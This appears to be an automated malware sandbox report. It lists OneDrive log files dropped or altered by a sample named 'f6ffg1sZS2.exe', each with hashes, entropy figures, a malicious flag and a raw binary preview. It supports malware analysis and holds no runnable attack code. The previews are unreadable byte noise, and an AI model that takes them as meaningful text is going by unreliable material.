X...Bo...........1.._.K.%....]HN....sK....).xH..O9....6.~....b..J.M}....F.u.....Z.$X...Df.1Th.....><...oF...oA..Q.\|...&u...{.O......Ls..B\.4..ED.W.......w....x....K.u...bl.. e.".].$L....;..D.R...Q1ltO...VT.Im.....,Z...b.....<'.........f....L...c...`>..D.T._W....H..:."X.......... .X.....9n.`

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1150.9064.1.odl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.27011834071749047
Encrypted:	false
SSDEEP:	24:X+cFR8onO9Lkhb+1c2ZqhxXQJRWLynsg1TMAvMGbz:jFkyt+11q3XMTn9Ccz
MD5:	C2B5919B51723DC5F10AD562520937B5
SHA1:	280CBC37F2338C8850E1D622DBF51DED71359C3D
SHA-256:	A47B034C2D05F713CF95BDD981CAD8ED3E336D1C5971E97F013C7C4249D6987D
SHA-512:	4A7C189DD686AEE99181C312C738A0B5312930040F7C501796C3AC3E95DD5F0A94E2324E1FA6D9CC556647408DCC808B4F92A847380AADA1D9B92F2E18E7ABEC
Malicious:	false
Preview:	EBFGOF..#..y...e.b.~.Y.M.N...l.;....cJ.......t.x........r%p.. ..7s....y.{....A..#..I..`8.0... ....b.}....F...?L,...w..x....,..!..+..QT79Q.L.5.3id~<<[.kr..O.,B...<&U-...B...3.J`3)\\|...w.m"z..L....6.Q.Un.qT...w...}.,g6#......^~...G.&..1..0.\|X?......w...n.BjVp..cB...X...x!.g:../.n..W.."A....K.....8..diT6J...I.,..=..:...o.K.V. +..-.a.....F9.".H.....{ ...,Z..v...<.P...Ia.j.......?n..aF.>7.....r?..b\|..G.i.T{...&.be...j..9.Y..M.$.V.].......^..oD.......R...$A.c....1...K+.a.......${[....].......j.J.{.LK(<.l$WF...KoN....k.`.V3C....ma....,..T.#...w.'?....:..p.....{...P>..QQ........[.\.H....v7k%.h.O.Z+7..P.pY.`S.7-.#..M.b3w.T..U{f`..-\|.yM..m.\.X...E$;..#!..w1./BCR...R........l..=.l$.x.<E....;2.F...w.d...U\|.w.....>.j_K\t.......}+_...U>z....o.o.ix...#...n..`A...0...E.j..Mp.B...o......./.6......5x..q..(.."...c...'...M%....+>.7.Tp.5..Vs^^.....$N.....!v...Zj. Z...k..HqU:K...K.%.O$..^..h.v...!...w......n.....L....+o .V... !7..^..2\|1>.B\|.7.J.+..m.{..U..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-03_114938_158-b2c.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.912109824050937
Encrypted:	false
SSDEEP:	3072:kKgknl2SOJ6LkYpgMwmWCPs626k9MmjkcK7iI0KJEog1:JB//kYpgMfPsUk+0KJy
MD5:	089C2654D23C56A6567945CE598FD537
SHA1:	5EFE289E5139A07CFEB66E429A75EB9F775CDF24
SHA-256:	2B3C6F26981AA0566545E81F5C89B9ADA18F696B49F6E4AB69C80C3F95A6F715
SHA-512:	B67AC785ABA31ED1457D53C450BE218815FDB814C4084D3548B7C908B049E25902BA8E1F523DEFE45D46CF58E115C8F2FDA09E2953E29A86D5F487026A93445A
Malicious:	false
Preview:	1.0./F..w...e.{...@7......6.7..r ....~ 3.^Y`...7...e.\....B..K7.u.9..Yz.x...A/.W.K.m.q.../..;..S.7'..{.....;......y.\|....]..S!+....@%...F......E....d.....0.N1.e`r..y.$....u..eK.@".[.X...........[...qp.,..Ks...&.\|F..t.A/...Y.]"L...$.2B....}K.A. .Q.E.Q..K8.G$...5.`...{.....}.I....8.......RW.@<..@.B.2.@..U...h i....8(.... ...tj.`...z...r.I.U.....pW...w.{V.a.h.NS.p.;<..kx....'.Xb.z.a.Q.8...:.J..h....=..-.....;.)...W)...Iu1..p...:% ../#...w..E.Y7..@.......3DEql...PITE.v..!......Vs..J......+.]@Y..;<..(...C.1....... ..p...u..T...C....S...3j..IS9..8.2......0u.;. ..>..;......4.l!...$....l:f<).X......nA.~.4S.x.'...#../...T.=.q`....^.f...4T..fUr<w...s.#.\|....yr.b..8x..n.V.J}..... &s...<.b...F.P;T8B..y...Q...5..;...>#.......<0:@s3...2.9{_ ..7.8.&...w........W..0X]...4..D.o......#.Y.}..A.(:{..9gH....~....\...NY.....Cxf.P...G..A....+R.!..I..nb_...b.......Wf.....(.Xl.......b..b.xU..a..F.Xv...#x.:.).K\..."%t.hHcu?Dc(Z..tc].?l....!.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-03_115005_9064-2616.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	6.793451375988004
Encrypted:	false
SSDEEP:	3072:AsHDKMYZGWskyANXR7BTJkSi6MM/XI7SsUnbc0S6QZbBtN:AOvYLsQX5lJ5rMOXI74gU+
MD5:	A6AF5068547BEB8197B6CB4CD1FF29A8
SHA1:	852FFBF746FB311DAE69A5558EB213E24EB90E2D
SHA-256:	DA476ADAB9E19A06543568ADF28EFDF7CD4F48441A3A832BBFCB223770AE6D64
SHA-512:	C0F3281D5F44AA48885A57D2EED2F61FAD42D2F45ABB078CB17B48D329FADA68D20ABAE0FD0C185AA636BDD884AF1FB66B332AA472FD1801837E454CF7981DC6
Malicious:	false
Preview:	1.0./...I@.!.cu.%`Z1b[./E........._...$.g.y.t.f .Hm$:.8.G....p.wZ0^..H..T.<..j.TPpq#.um.P..8......ys....Z:.4..]....R.t.gB....i.~....e..2...O.w?..j."Y..`......1.qa....W..l.v..a......S......??.c0......l.D...!>.\|?p4(S.\|.A.)c.(...JU?.....<.k.>..3E.l...A.....B.s...:.j.C..7. ....._..7..d.4r.\|\..n.......%..S\....12$N..v.V.\..4.-..f<+U.}V.......p.......B.fp.d.X....8.R.....<80.$.^.p.7u.D.h...R..}..m.}.O..~.....s.Z.!<C.....#!..<!u.....Y..%~...J........R..f.C...raIT......;5...=i.B.(K._yPA'.D.mf..J0.(.(XT....H.B..4..6....[,..\|.LS...u.....Sp.. .:hH{G.QZ``..A...g.Y...W....H.)L....,.I.g.{.t.m@oE...)Y..!?.....h'.....Pi......n?2Z.3.....2.B..@U.%6/...0...?..\|.n.Y.O.$1F....g.F.y...<.......YCL.4..k.9.i..bwbka..$\......q-.....$@AS.B.@Zh....&.U.j.1h}..x.....D.\|...P.C3+..B.2..{T..3T...?...j_.>.~i4i..3...O)#' ...i{e4...l.;..R.." ........4..m...M....5...t...9K....U.+E........e..Bb.g.lr.HaA..PCWG....Q.z...B5.2oC.P'..........9.Ml..0@...c..,....gdN;erv.I..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-04_093243_16a0-1d8c.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.648390017300615
Encrypted:	false
SSDEEP:	3072:rQ6gGCG+8AY/2x/V4rQnPdKBvTotAWiI//:c9tGSMrWVKZU
MD5:	D45F94DC6CC07F8FBD832E1789EEEED6
SHA1:	1C37C2CFF1F9262A8C2096686D04D94B4B41031E
SHA-256:	465DC476AD258A21FC54814690166303BF4522A06D31E444BB32388B55796EBE
SHA-512:	3856DB402FD6E0BC5ABFACBBA7666E06DFDD066C1160A11F71B156C6DF5ACC25895A2CBA02043EF73D4D135880C25EF974ADDD3A6E647B80A71DF8465DA65F33
Malicious:	false
Preview:	1.0./J................~.2....).gUe..Z.....]...x.d5.S.........M!...@...q.@K3T(.......t..=..u..&Uq..=.}.d......u..}Nw....AF...7...=?j.-.I..M..7.g-m......Z.<..7...E..T..?.....{Hk..\7...b.....7S.:=..r#.(.!..v.=V.....v[...$..M..%.t...?&..>....X..\|:c..m...e...DT...&.B.....y...hGt[y...:...>.....)8.....U^.{....x._....b.swu..'..R2..K.....O../.8..wiQ.....'.Ic.....8.;.d..u..R.s/f....\_K.AnwOh.... {s....g.~W.....{.....r.o........oUo.:..el....Z...T.9...o..+c.sBp[.....!.B.....x.L.RH.D..am..~.y..l...to....U.l......3.B.#z...I.+z........V..{.8.s.`w...Y.....z......Z.CJr...y...E..D[?..O[..-_...m..S.@G.m.....cSCOL..d.!.9.U5z.@.....pf=.I.B..~...j..Y.=.m..0.$.L.b...X.A~..'..r...\a.,.....Y.<..K......{v_x..Nj..X.1M#o.<.3.]...O\..;..XX...Z1U...A....U9...l.+...D.._....H...b...R...cA.?Z..V.U.]...O...h:....2..Z.m(]......P^W..c.... ..6.v.Gt+W}.~+b.8'uF.,.4.../8s.d6....ci.2.%dV(...@....n....;........N..RY..u.j..........n..wF2.I<..,..}.9.u...$....C.......LU.0,n0.k[...h.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_114932_b84-2220.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	30630
Entropy (8bit):	7.994416943106753
Encrypted:	true
SSDEEP:	768:4iBj4M+VE15qTVee/EL+/wF3NDcDYc2x8:xBMl85cV3/e3JeW8
MD5:	25C159E430BD134633E8BC299E0AF89B
SHA1:	0768C0BE85161635CA3C9A4A1DC58D7D43F88B43
SHA-256:	359B70E6E4BFC1FF3916B00E03DEC7A7E83CE8F54CB2B6F3A29E28D98E953EA6
SHA-512:	09FC0B99494EAD32AD81C1BD843ED31FE65A6BE05540436B78AD4B683F9DDED206795EB9C141A0E1050B4A00AAF3D077829835C1E94D6ABCB808F63B01A142EE
Malicious:	true
Preview:	1.0./q;i0....B`.=F.Q.@.6I.,@... k.!.m.`...Y......Bb.../.\....C..E ...%?c.y.(0.zR...7:..p...f..&bS@.x.;2,.85^.h.Q...].\...K..8.DA3.._....U.y...~...&.k3_...$...I..E.:...AQ.SS.6mu..w.;p....+A.[.m./..Yak........B........&8R.......b.w..RB..7.bdB......p...f.+......JZ,A...2..,...k.~{.,GU+P.t0..{uW.....F.S.b..v.~n>.`a{h..R......]...Fm.'..tX.,.\..XMZ.g.-..R..7..w.%@......Cs.k..W5.QW`.lLMD.S5&..%....K.,....{.....y7.-..j.y.....66y.!".Ee.....Y.h..'.....s.Yj...w..i...;..s.3.J.o!....)J.....1..\|......9..%.9O5..\<..j..g.3.\...`..d2..7..5..3..~.t..h1.:xW.."=.^.%0?/..v....._.6..,r......4..!..@=.n1...L..G7.....k.`b!.,.Z%..+L..BO......f....?....B..rpS*oz..x.v'"e.W...N.t,......d3.....>~.v....x....; .'....1.:......V..BP.6..$..q...W.).I/.r:.0..2.].....>7l.MU.v`.[.....o'.P.5.e ".,F......I....scw..kV".P..;4#.=...^........u0.f%B...3..Rm..uq....v.j.=.Y...\|.T'4...:...v.j........_.W..!c8...7.\|.. ..=Q..H...].........0.....\|i\|P-1.YTh.lQ...Q....F$.'Ch.0fq9

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_115005_4240-5892.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.502420309027262
Encrypted:	false
SSDEEP:	768:nVnxM/7dKkZlLeiLgApKl+ur1iWKVESjTGfqCu:Vnxc4kZlLei0Awl+8gVDjTGSC
MD5:	D0A318AC9C65701CF4534CFEB770296B
SHA1:	AFB1FAC452F26D28280AB73F3CA7A15DBCF9DF3D
SHA-256:	16928C7B8195AD150DDD17A0DDBCEF82840B2C526DF50C255F3E3B2186E6AFEF
SHA-512:	EC92FC4C766B1ADB4255496CB0F8517450D10F291BD04025482F9D32BBB69F59F1984886D18E0D97A486EAB57A39A367B8A34123C8192CCF672ECD61AD25D2E7
Malicious:	false
Preview:	1.0./..~..Q{.g...+..B+f.....j.'..<\.$.CD.i...]....3..~.Kw.#..8..]m.d...Ad..7.3..<..}..We.^......^}.J.W.y......@.._yp.b...U.S$N. W..X..4.u...=.ksd:...m......\..B..$#..<9.<Z.]..!8.H,.U.?....GWU4O.R._..E.<....Y.}W..}....._K<..VyV.%..".}.<z..<./W...R..R0K..@.U.....E[.C...3L.j.`.....[..y.[..c..U.".8.X......n.47.-..8....DJ.0-G\...f9...j.~&y(......rni.Fn.TO.H..I..:6.#1qd@....?<.$.....!.3.Q. ...8...]p<@8..(Uq}...y....(.:..._z.~..%...+.,...-o....#i.....m...}...s.}...1......L...T.iV..~.........q....u..%..].<v..j..hI.Kp..fn.....3.V[~...\|..."..z..O..........K ..p.\_G.#.X.~H........YZnz4....5.Dwr.}(.f.b..>cJ.d./.\.A...W.l.z.'.FVT...r..<..s...._[...}.;.....p5k.G..b..V.....o.n....GN..K.VE..EzO.u....[5.9v.p2A..l}CH.+.p.z$ZGUm.."..L2"..j...t.s....-.4.&.d.yN.......{4......pt:<p_9.i.-,p..1*.....0H..........K.......(jAP.?...R.G5..1..9.g.]... T.(;&[M..U.5..O.wK........e/.......`.Z.c^C.XDvM+..,..v...F7..YIB.......U..k.h>..tg....K.%..6...f=_...Z..[..\.....:....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-04_093243_14f4-1074.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.627557151931348
Encrypted:	false
SSDEEP:	1536:fL4oyVoD12VF+20VO+8zzPVDTTiIcJju5RXN19c6XatsVV948+pLJ/h+u/:sxosf+xo+EzdfGITzNlKtMVnUH
MD5:	4B88618BEE437F3EADFD3618AEF97A84
SHA1:	9BF6256F7F0638A6130959CD0405017BC0CAE4B8
SHA-256:	344B35EB2DAF241EA66E3E7B5FD1706832C351E01587FFB6CB2389AEEFB7310C
SHA-512:	90B80057D67ECC926D0E8950797C786830EA1225A0AA188D58F719788EAC23644C93DE2CADBB2525E54C9A904E5FE6512D38739361C846945981C31F773F3D42
Malicious:	false
Preview:	1.0./......Z..\.....I...q($..K..%.~...D5"qC..p7..%.lMu...+..z`Wd.G[.V....s....y.[.d.D.b....n..}Fe.3\OZ...Ui..g...l)Dvm.^..q+.2r.V.h..r.n.............h.&....<nE...TK.....%..m.......:..8......t......rb.9H...a.4J..]T.4P.Ug..z..}:s...U+.....fP?\|.O......+.,..68.u......<..7..{HcBL.....([..+..O......A.g.#P.6<??#".6..gF./...b..=.I<...0.k.N9..?..z]:..)......U...6.&."U...._].....d..4....O..f..\|.fA9.C.a.~.....A..g\.OV.;...4.%....WcH.ZZ.`...f...T.....b.....x.4+...^.k...4..."Z.........d.h..}\.E.tg...{....?B....z7...S.....B.s./.[...Xr.=]...N..l...c...\|..z.y..u+..=.7\|B.....g%.....m..;..`..x.J..-.os..]N.u.gnXJBY.....>O+.u..1j.!..S<v.bAz;.@...........h......1....c..m.@..+..V(0.e..S......b.^.O~..........wG...`..............D.H.D.h...HO....j.b9-Lb..PM9.a@.4..-xx.....$....".!<IA;....{.i=1.{u.....]....p..y$..k.....Y(..c..W..D2...{E..x.K.Q..;...2Qw....>@._...iW....1n..n.z.p.5.ag9...z<.w....+.9.n.3&a}q8.......YwN7.mIGn%.,.v..{....h3}...I....cz.%...Y.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\StandaloneUpdate_2023-10-04_084137_4224-6092.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.101835058109411
Encrypted:	false
SSDEEP:	384:ym+6Nsq/d8YqoVfctNyZx0hQukY8ysQ/s:yZ6H+loVyyuzkY6
MD5:	23F2BAB9EF818B580471937CA385E054
SHA1:	B981DE326CC5ECF6ECD8607C5D95633907BD5131
SHA-256:	A2B7B3501C9BF8D60B9413071D44621A19C1B9E650C6B3FD4FBEF5A4D47F24A7
SHA-512:	32A5C4D56EC17C0220171A9A41D24CAF92737DD8630AEEDEE7F98334A63072D2B3F7F8CCD0FA3668E58B12D04D168C6709A7AD03CF76E74C822B804F4BF7DC84
Malicious:	false
Preview:	1.0./....fG..6.../.....N...>=...J2..d}.N...<...z.op9!....S#...F.......A..k.!.G..Um&....#..@.o....v..fI.;\|<}.M........E.....G}.:...]..CxUK.L...v.a.]..;j.'. V.....`7.Z..q>.N..._.2.\....8.....x....)I..:..^c%$`..E.k\9O...........y.1.6.../]E..+v.F._z..;...6\|i~..\nvzl>.Z\|.8..Te"...tY1..\.m.6d..7...f..b..''...s9.\..%$X.q\|T.C..j4..D......$.o....szU.D..^.....V...&v4T..T.W....aE.n.[.d.R.A....&.H....gq..a..V..X>9..z\|9...b.E.....~......gGB....v.9.b..[y.6.....V.N.....r...g?...(..g....>..QV.u....}.Q.^.).......bt.\S.>!..K.....bj.Z ........v..z.&<3.b..#T.....B.Y.-..\|...XP63..-...Jwd7\|V.wx.a.T..[.....&~..V%..o`}......-f.....x#%..(To.....qL....X..y.,.80k..m....A&"h.....~..L.y.X .Ha._#.re.W:...g.G.T.).U././.8.U".A..".....i....n..?9..U...v..K=1....ws.....=./.t.Ef....`.)....be....[px.5I....#.r/{m.n.*.W#..p.2 i.....t..X..gc3...zP.......r.lqe.qK....bV...U...3...N...ii.U.....VjW...;..-..J2W.%.Hz.._.!..v.......M2..>~.z..t.....N..n.:.....@Dd$...........F.<.J...h

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-04.1059.6292.1.aodl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9669106704480466
Encrypted:	false
SSDEEP:	96:07HjQ9ufr3JlN4DqdJTPbkICvPodoHkoAa:/MjLN4DqdJTP2PodoHD
MD5:	74B038B6ED0FE302B5EE0638755C3A30
SHA1:	F3F13BA818DBBAC2E60A8D2CC107C8D71DE13684
SHA-256:	404567C37EE78BB36E79958A2458A21BC5AB8B472960684D177B9510ECAF724B
SHA-512:	0BE6BD997E2B58375BB0CF235D0D7DCAF7C71C69FB6FF90C1A66A30986F308832056C8421D1E08EC1A2B9B3CC34A42494EEE05402B6418EF756F15FE18A081ED
Malicious:	false
Preview:	EBFGO...q.w.i.t...k.8..(<...O]A8..M.m-...^.._....l+.B...C....G.K"b...W...}A......B....."..La..@Yq.........c...w..6..h$U^..:e&..gV.y..B%\......w..x...^g...)0. .{..#....^.2...V..H.C....)j..D.....1.G.j.......?....72.N..t..l.i\|......r(?qy..\|...../...=..=+N........J1.Y6+>$.4\|...6h...m....oKH...y..@.....6.t.w.+..!.@.?..1.VJx..c..r...s....iz.T..QAS.=...........2..-u.o..!..,.w.@.i....HW..K..8.fd..r......).@K.Y...9ZH. ........V^...."......."....T}._...f3Fb.....,_....?....x.y.w..lsTjOjs^...,........j.s.@-..jH.t..Jc.....P.C.}.%^.A.%.W.j[.D.W...[.4r..M..0y.1.@. P7.:.(... :U.}5..m.f.<X..#....F .......\|N.\yL.{.\xd.A....6.. j.V{....$Q......'.UV&j.$b.l.(tV.@.D_........^.#.+../.rX.5Qb.9...;...K\.N..G...#.....'...MC{OU/c..a<GT1...~L`.-._+.[&.vl........./u .j.^...K$....-S.q....`..8u/).z...s.^..hP4......)E....w....AG..]....1Qq7].E.G.........G..9s,.Z.........sY..j.!.9.....vd...\|.y.....zu...j}.........e..k...h..X.'......!%.....r'T.....\|x\|.^....1.p3...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-04.1059.6292.1.odl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.5611175928130996
Encrypted:	false
SSDEEP:	192:FOqsC/at7h4vfR9AgHWiAlj8ab2c3RekmKOLhKWAFQl:FOq187evfRK2mVfhZmXLsWJ
MD5:	616451E6DD84E61D7B8AE109D1616A4A
SHA1:	257FBEDAB2A38B04FBB1A0D0920CEA26122077C0
SHA-256:	D128D86F67C4495E02F806593A9A743F8C70AF15A1772EA11D98D76A5ED9CA11
SHA-512:	C6360258D25B003A91317073639D4AA626958A3753635DE6EAA01EDD36DA840982603208FFF7D1360907E7EF0DA8A0D6F79FED9B03337913638770F377392F26
Malicious:	false
Preview:	EBFGOo{v.!..Re{N6...>..z31.sN._.LE..W...<..6'...~.\|..q..xj..f..b.}5U...O..@.^}.Xu.d;...!s_.4;.o..6.%....[.=a..I<./}r)UE..e.....p.1_......O.:...r...,/+...U.e.....O....m.B!....{K..z1..v...#WK../.~N.iP.6.=.~.j.3...........g.+c?6li..M...<A7.1;.W...i..7...\Y.=....~H.@...2=TiM..;.....\>..$0.:.".a..B9/.F5.G."..@...U.?....?.......e....J......v..Q......v+.......u..I...C....d..A..+..Q.;.X...%. ..B_.!u......Ff.2{q).w...#.92...ym5....R.:4.t.A.(.W..T.y<:.[(.L...rJ..+..&.jUb..9F>....u...\.M#}.....[.qLW...g...X.,.f/......e....^W.s...,b.A....^.C0j.8..nGD7=e,aW1.vOl....]..L...P....$hO.i.hcB.ZS.4.(../.8=..^...'J}.........&.O...Q.Y.VR.m.L..8..../V-..9k.]...0A..=.....0...U+V...1...S.B.......6..P......ez.....jS.'..mW.@..sJh..V...G.ho.!....ujjD...O.O-.....9....y..:vP..L.....;..!X...P8.....7.]0...S[.e.D9.t..[7.J...n.Ct..%...........>.........pe..w.>0.....;T..K!.`.F.`...U.V...Dk.e..>.!...I.o...X....X.k..Th.$n.....}..g...c..*./........].{.j.y.].25Qo.T.I.....,

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-04.1059.3196.1.aodl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8661948964244939
Encrypted:	false
SSDEEP:	96:b5qFaANBbGCfCrDLotppKmFuWx3w9yZ4Wmllnb2+j2h:dqFaAkhmtx3+ySWmL
MD5:	6237CD49D6511B65B71B995F9E3C77EC
SHA1:	9E6DFC3B42D30323D9195D80E1D750094BFCBCDF
SHA-256:	60D3DEDC38082D8430516816668981482BC1D1DDF5CE29AD762C439DCDDD7FB2
SHA-512:	8352D984520D52EDEF78ECE140C96C878C4B21D560CA62E0E15213C82B71B20446C877959E5505F321242B8A872BD95F0065D8070AC7560430D222DA1613CBBF
Malicious:	false
Preview:	EBFGO~.7.....4dnAa..ry...Qk........_l..x.7O_R...c.`.a5b...{.@.w.t...t,~@....a..e..Q.p.* .N..%D9....g]..).d....0.....x.c.....u.......ap.....=2..<.miN..i.dq.A...2......X...[..65m......s..O.O.......+[....xu...6z.1.B.x.q..M..'.........T...6L.{...k........p..ak..8{./..]D..........`o.v=\8.K<.\|s.-.!...-..^0.....r.....f.Zg..c.7..K...M..Q.b5..{...3$w..X.X..\|Fg...&S.#.......Hu.'=..">.u.;... ..n....g4.Y.5=...#.Ws...P...2.#....H.E..."5.....0......S2y...{......P.Q[........+...I.U...aB.f...}...B... .........p.y\|_t>..%...R...'T.(..SiN..?..H..x.J/..n.T...B.p5M5\.^-.9.oC.bM'z...V/e...r...z...{.oO.Q....#.d.....NJ..}.h...j..J.b..s..f..Y..o.S......iM..$.!h..... .;.q._z....B.m...^...'&....k.......zf...M.H.?....S..W....].@..+"..{....z..9... f..N#.l).,..iv2.q../..sh.@V.....,p.O7sU.w#"K.......Y.\|.;...(z..XF..A.Z.-.0..o..w.2m.v...W-..R../....Dz#........Fv..I....,..%.x..p.3?#02.'pG.$iw..U.1..Ml.w).%.6.y..V.....5D.[.z0.&....1.]..x.b..e._...`.(.-..>..D..u.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-04.1059.3196.1.odl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20667329913718918
Encrypted:	false
SSDEEP:	24:dvyZ8pgpAoAW8sKGe6CGWPjxbu6BQ1ic6alsbz:d6+pgpALW8s3eX7JuN1Aalmz
MD5:	E15ED6338214C71429C33C243BB1FE6B
SHA1:	4C1BE02AFBD48B04E8CBF1986DAECE9E4DB1AAB7
SHA-256:	0C2128897E6F0577B3A2653C7D3DD211CB85201A8EA3050CFC00680BD2C327A8
SHA-512:	A8A8544C34A907721F88CDFDEDE9E2CA0CE842B50DFE7C6B5E3957DDF8118E9EA92087C8E33541A2ECAC472CC55B79CFD3DE1E4FD9F4F436D9FA6D982935D225
Malicious:	false
Preview:	EBFGOd1..G...Z..h..?Rw.s..y.r.\r..?Q..SS(..M...Rl...{0....o........DUf<.v....>U8.1.Z..u....3Y...\|H..)...:..4.Y..'.;J.....1..c..3..i.EK..o.......cet..C....f Z.Jz.7.....l..PM.!."..x....8..'..ZW./.p.....Xe....HP.K..2.Q.x..K...<m.....K..F.~.q...?...\P....t.N..._E.j...]&....N.8..S-B..l.T\|..\|..s...>W.01.1..K...E.T#...8...w.z..E..xOLj...-R.4q/..6.iz......5./.."#....m.O..3.N..H2.3W.j......_<.2...6+...T5.;.1C.!..<.@.....!.j..........5....eJ..@....{....w..[.M.H..:+.9Z%.......3..........36.Q)..c./.!h.N...G.8h...\...y...B1.L..7.....<.I.S..~,[.}...a..dl..M.E.rYj.@.>......~..a.....Oz.g.m...!...#M...X.IA..;..9u.}.e.e...&.........k.......^Y...?&&..cP...H.z{.cf...\|.Ab.(M.UyV.......#..p..].GZ..o.5....>X..........X...{U.A].....x..mi..1U.H...1_P.....[.l....:.E(Z.l.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine_2023-10-04_105957_c7c-3d4.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.4558623773980637
Encrypted:	false
SSDEEP:	384:PoZZF22uF/m4SoCNtp4ti0hCOwh/fgHNCZXw9rhcV+pp/iXqKxPR7uCvqgcld4m:PoHg2uFYZMCOwhAIZUZb/iaKxP5vqgC
MD5:	ECD9C9A80A4C769766AB3E83879ECADC
SHA1:	FE85E37BD2CCB03E7826D905CDB4300BC71F7826
SHA-256:	25821B0CA2E8B34FB8E0754C46C5E940467C8496E57D36B11B7B7CAF646C582A
SHA-512:	A017803C447BF85DB6C161C51C74D7304516006F33E9F2D22A1424BB399846D537EB355F3590DAB1C7E52D21B251B23BECA2FC3627B2ADEDD9B83E341E20E0E8
Malicious:	false
Preview:	1.0./.f1O..L+&et??v...u2......B...Na..X..H.....J9P.....p.C.j(.c..LH..b.336."....Y.?QiX..pCr..L:%...pq.A.3m....,.....S..4....b....1......]z.5..`.VRei{.M7a.:u%z."....1.2..2z.v.CO..9. ...?{..2......u.q...P..m.l].;Qxv...x...-..-....Bb....W.....Q&.'=.ytF..1.t..J.+....^....ZH.+#..jV.b..Cv.~.9.U'.V.{...E..2d$f.R\|.+@.o...`.Tb......6..x.k.S.......-....\. b@...t..1.A.....1=....#.^...dF....I\.~.2.r_Y..o..'...b..\|../...s16.t....{.1.9N.pC..W=2JT4.p..?..N...h..\|...y..s$.....Ek..p.....8...`..rb.5..Y.......EY..>..,.c..i..\...$..#0.zx.3.@.N.v..../.......G.:.......u.)`...]n{.r..}..<...0...n._..+..l...8.8..../\|B..P..........+......v..b..'.O..!....Y..HB..y..C.......e..n.....U....N%.8.\|=..5......{..=;..Z.;..+..N,:. iU.gM...\..0...kjB{.q...7.&.$Fm'.......{.AmW2...A.4...........;..`G...4..H.v....'.K#Z.{.M.w.A.(..0...o9-..'.z.X!#....o...P..p.6...F9\^..Hqy.A.#.......-....&..).W.L..b..K1z..T...<k...a.u.....=.....\|.K.~.g...*.j.FnE.7K..FY..01,1..(2.f

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-04.1059.6636.1.aodl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9410088449415436
Encrypted:	false
SSDEEP:	96:doEFK0/whCERyA0mTXBvrwe5kulcMzGsh5KA/wvKu0/q6Yv:DwhPyFmVZSuGMZhFwvXj
MD5:	766BD45A7467E80ADEB3F8C5CE9BDBD7
SHA1:	170EDEA7BB073F68D2CCD3A08885861720B93444
SHA-256:	2A4DA127ED3B0657439B1765A2E5258DCAB2820A09C5A6E32C2F460E6376CB09
SHA-512:	9BDB62890E54C9A1D6F5514178624668C3139CB2B4A53F260EB9F166D677834546CE9439333165B07308738CBC06243B421C280A4B597153A0898D83E6DCFFF3
Malicious:	false
